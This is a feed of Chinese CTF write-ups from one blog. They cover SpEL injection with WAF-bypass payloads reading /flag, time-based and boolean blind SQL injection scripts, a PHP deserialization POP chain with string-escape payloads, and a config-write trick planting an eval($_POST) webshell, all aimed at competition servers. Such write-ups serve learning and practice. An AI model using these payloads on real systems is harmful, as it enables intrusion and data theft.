查看html源代码,static/js/app.2bd6d7502a3d35617193.js中发现了计算器的地址:

R.default.get("/spel/calc",{params:{calc:t.enter}})

http://106.52.164.141/spel/calc?calc=

根据报错可以发现是spel

之后就是spel注入导致RCE 这里就是RCE点,fuzz一下waf主要过滤了:

  • string
  • new
  • getclass
  • java.lang

可以绕过,比如这个payload:

''.class.forName('jav'+'a.lang.R'+'untime').getDeclaredMethods()[15].invoke(''.class.forName('jav'+'a.lan'+'[g.Ru](<http://g.ru/>)'+'ntime').getDeclaredMethods()[7].invoke(null),'whoami')

但是执行系统命令失败了:

blocked by openrasp

应该是让文件读取

虽然new被ban了,但是可以用NEW绕过,这样就可以随意的构造类对象了;然后就是要把对应的包也写上,写全了就可以构造对象,不然会报错

最终payload为:

NEW java.util.Scanner(NEW java.io.BufferedReader(NEW java.io.FileReader(NEW java.io.File('/flag')))).nextLine()

url编码后访问/spel/calc?calc=payload 即可得到flag:

http://106.52.164.141/spel/calc?calc=NEW java.util.Scanner(NEW%20java.io.BufferedReader(NEW%20java.io.FileReader(NEW java.io.File('/flag')))).nextLine()

flag:De1CTF{NobodyKnowsMoreThanTrumpAboutJava}

队友的payload也可以用:

''.class.forName('java.nio.file.Files').getDeclaredMethods()[17].invoke(null,''.class.forName('java.nio.file.Paths').getDeclaredMethods()[0].invoke(null,'/flag',''.class.forName('jav'+'a.lang.'+'Str'+'ing').getDeclaredMethods()[63].invoke('','a')))

Mixture(Unsolved)

考点:benchmark延时注入、webpwn

难度:难

只做了一半,注出admin之后登陆,有phpinfo和文件读取,在php.ini里可以发现so扩展,后面就是pwn了

benchmark时间盲注:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests
import time as t
from urllib.parse import quote

url = 'http://134.175.185.244/member.php?orderby='
alphabet = [',','a','T','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']
#your sql query here:
sql = 'select database()' #TesT
sql = "select group_concat(table_name) from information_schema.tables where table_schema=database()" #member,users
sql = 'select group_concat(column_name) from information_schema.columns where table_schema=database()' #id, username, password
sql = 'select password from member' #18a960a3a0b3554b314ebe77fe545c85
result = ''
for i in range(1,30):
    for char in alphabet:
        payload = "and case when (FIELD(substr(({}),{},1),'{}')=1) then (benchmark(100000,sha1(sha(sha(1)))))end;".format(sql, i, char)
        # payload = quote(payload)

        #time
        start = int(t.time())
        r = requests.get(url+payload)
        end = int(t.time()) - start

        if end >= 3:
            result += char
            print(result)
            break
        # else:
        #     print(url+payload)

md5解密得到管理员密码:goodlucktoyou

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2302.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2302.html/feed 0
🇺🇸COVID-19 CTF Writeup https://www.gem-love.com/ctf/2292.html https://www.gem-love.com/ctf/2292.html#respond Sat, 02 May 2020 10:16:38 +0000 https://www.gem-love.com/?p=2292 Author:颖奇L’Amore

Blog:www.gem-love.com


web只有一个题,到比赛结束一共30个solve,但是因为做过类似的,很快就给solve了

De1ctf自闭中,抽个空来把这个题wp写一下

Let’s be transparent about this(300pt)

This challenge is hosted by one of our amazing sponsors. Go to https://derp.randori.com

 

You will not need burp, nmap, nikto (oh gawd), dirble or any other scanning tool. Just use the techniques you already know. Please don’t abuse the site.

题目地址是https://derp.randori.com,直接进到了一个红蓝对抗靶场,感觉是广告,简单搜索+FreeTrail登录之后都没有找到flag

题目链接指向了一个商业化程序,而flag又没藏在注释等地方里,基本可以判定这网站并不是真实的题目,只能继续寻找

在它的证书上,可以发现另一个域名:

然而这域名根本打不开的,因为没有解析到任何域名上去

然后顺手查了一下主域名的ip地址,解析到了34.82.167.143,但是直接访问ip并没有进入当前目录,而是访问了默认的欢迎页

多数情况下,这意味着服务器上有不止一个它网站,比如搞渗透的朋友经常会拿到IIS站群,一个Windows Server有五六十个网站,linux的各种面板也都支持绑定不同的域名到不同的目录来实现不同的功能

进而分析一下实现这种技术的原理,在收到一个数据包并解封装后,位于应用层nginx需要获知用户访问了什么域名,只能通过HTTP头中的host来判断,然后再根据解析规则解析到不同的地址,所以只要构造一下HTTP头就好了;但是如果分析不出来这些东西,就完全变成了大脑洞题,估计是不可能猜出来的

flag:derp{history_always_repeats_itself}

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2292.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2292.html/feed 0
一道江苏某比赛SQL题目Writeup https://www.gem-love.com/ctf/2289.html https://www.gem-love.com/ctf/2289.html#respond Fri, 01 May 2020 12:24:20 +0000 https://www.gem-love.com/?p=2289 Author:颖奇L’Amore

Blog:www.gem-love.com

不知道这比赛是不是正在进行,防止被搜到,就不写出来比赛名称了


考点:布尔盲注

难度:简单

水群时候看到有人发的:

然后就去看了看,直接穿进去id数字然后进行查询

他这个题会直接输出过滤后的语句,所以能很直观的看到什么东西被ban掉了,就像这样:

简单fuzz后发现ban掉的有:

  • or and &&
  • 空格 /**/
  • # —

还发现,id为1加上点什么符号,只要不破坏SQL语句结构,查询都能返回1的结果,比如:

1"   1a    1[

然而当查询的id为1’时候就输出不来东西了,说明id的值应该是被单引号包裹的。

继续测试,发现1||1=1这样结构的语句不能执行。

 

接下来分析fuzz结果:

  • 没有or and &&可以用||代替or
  • 空格可以用括号绕过
  • 没有注释符就必须要把语句全部都放到他的这个单引号内执行

最开始想的是堆叠直接往出注,但是没成功:

然后开始测试布尔注入,因为是有单引号,里面保存的是字符串,可以利用字符串代替数字,平时用的比较多的是id=1||1=1,改成id='1'||'1'='1'同样有效。猜测它查询的SQL语句大概为:

select * from table where id = '$_GET["id"]' limit 0,1;

所以利用或运算,构造0||1使查询结果为True,Payload:

成功,布尔盲注可行。接下来就是要在||后面构造自己的查询语句,测试发现0'||(substr((select('y1ng')),1,1))='y成功:

题目告诉让拿到数据库名,然后用hackbar的SQLI得到的查询数据库的语句是这样的:

select group_concat(schema_name) from information_schema.schemata

这虽然可以得到全部库,但是or被ban了,information_schema是含有or的,所以以上Payload不可用。

对于无information_schema的SQL注入也是常考题型,比如i春秋2020新春战“疫”网络安全公益赛GYCTF第二天Ezsqli(点击可以查看本题目的WP),顺便推荐一篇文章:

聊一聊bypass information_schema    https://www.anquanke.com/post/id/193512

尽管sys.schema_table_statistics_with_buffer除了包含表名外还有数据库名,如图:

但在查询中我们并不能通过where来指定输出哪一行查询结果,因为table_name不知道,其他的column也都不知道或者不具有特异型,两种方法:

第一种,利用limit逐个往出跑,但效率不高

第二种,用group_concat()连接起来一起输出:

btw,sys库里还有很多可用的,可以参考Yunen师傅的MySQL注入圣经:

https://xz.aliyun.com/t/7169#toc-53

这样基本已经够了,然而实际上还可以更简单粗暴一些,mysql中直接database()可以得到当前数据库,如果当前数据库的名就是它要的结果,直接select(database());就可以了。

本题中,我跑完当前数据库尝试跑了一下sys库,没出来东西,就没再继续测试了,当前库可以跑出来,题目应该就是要跑database(),脚本:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests
from urllib.parse import quote as urlen
url  = 'http://47.100.93.16:9999/36382e8a7eb0a7b5f9c0cf885e370dbc/index.php?id='
alphabet = ['{','}', '@', '_',',','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

sql = "select(database())" #SQL查询语句

result = ''
for i in range(1,20):
	for char in alphabet:
		payload = "?id=0'||(substr(({}),{},1))='{}".format(sql,i,char)
		# payload = urlen(payload)
		urlnew = url + payload
		r = requests.get(urlnew)
		if r'Dumb' in r.text:
			result += char
			print("find: "+result)
		# else:
		# 	print(char)

跑出数据库名:7bB829bB9749093bB48

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2289.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2289.html/feed 0
安恒月赛2020年DASCTF——四月春季战Writeup https://www.gem-love.com/ctf/2275.html https://www.gem-love.com/ctf/2275.html#respond Sat, 25 Apr 2020 09:46:12 +0000 https://www.gem-love.com/?p=2275 Author:颖奇L’Amore

Blog:www.gem-love.com


Ezunserialize

考点:反序列化POP链、字符逃逸

难度:普通

给了源码:

<?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

这里很明显是用C类中的__toString()方法中的file_get_contents()来读取flag.php的源码,然后在B类中存在字符串的拼接操作$c = 'a'.$this->b; 此处的$b属性实例化为C对象即可触发__toString()方法。而题目只有对A对象的实例化,因此需要将A的属性实例化为B,整个POP链便构造完成了:

$a = new A();
$b = new B();
$c = new C();
$c->c = "flag.php";
$b->b = $c;
$a->username = "1";
$a->password = $b;
echo serialize($a);

得到:

O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

之后很明显就是字符逃逸了,看下read()write()方法:

function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

i春秋战疫情那个比赛中,P3师傅出的ezphp就是个pop链+字符逃逸,有了ezphp这题的基础,做现在这个题就很简单了。可以看到\0\0\0的长度为6,然后chr(0).'*'.chr(0)的长度为3,因此read()方法可以造成字符逃逸。

假设分别传入1和2,得到这样的序列化字符串:

O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"2";}

简单介绍一下原理,字符逃逸需要做的是通过字符串替换,让蓝色的长度为红色字部分的长度,这样就可以在本来的2的部分注入对象,然后进行反序列化。

Payload:

?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};s:0:"";s:0:"

会得到这样的序列化字符串(每个*左右都有不可见字符%00):

O:1:"A":2:{s:8:"username";s:48:"********";s:8:"password";s:86:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};s:0:"";s:0:"";}

可以看到,红色部分刚好长度为48,后面就逃逸出去了,而橙色部分正好是读取flag的核心部分。

得到flag.php源码:

<?php
$flag = 'flag{54c3439fe400834815e5fb576adfe04a}';

像这个题是长的替换成短的,就把Payload构造到后面的属性上去;如果的短替换成长,比如p3师傅的ezphp,就把注入的部分拼接在当前属性的后面,使它们刚好逃逸出来。


web2-babytricks(UNSOLVED)

考点:sprintf()格式化字符串、SQL注入、单行模式getshell、bypass UAF

第一步利用格式化字符串吞引号+SQL注入把密码给打出来:

Array
(
    [0] => 1
    [id] => 1
    [1] => admin
    [user] => admin
    [2] => GoODLUcKcTFer202OHAckFuN
    [passwd] => GoODLUcKcTFer202OHAckFuN
)

然后去后台登录,来到第二步:

<?php
error_reporting(0);
session_save_path('session');
session_start();
require_once './init.php';
if($_SESSION['login']!=1){
    die("<script>window.location.href='./index.php'</script>");
}
if($_GET['shell']){
    $shell= addslashes($_GET['shell']);
    $file = file_get_contents('./shell.php');
    $file = preg_replace("/\\\$shell = '.*';/s", "\$shell = '{$shell}';", $file);
    file_put_contents('./shell.php', $file);
}else{
    echo "set your shell"."<br>";
    chdir("/");
    highlight_file(dirname(__FILE__)."/admin.php");
}
?>

这个是P神发过的,然后Smi1e师傅也写了相关文章:

[小密圈]经典写配置漏洞与几种变形学习

分别访问:

  • http://183.129.189.60:10006/admin/admin.php?shell=;eval($_POST[y1ng]);
  • http://183.129.189.60:10006/admin/admin.php?shell=$0

即可成功getshell

第三步是bypass UAF,一直没做出来,等一个官方wp

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2275.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2275.html/feed 0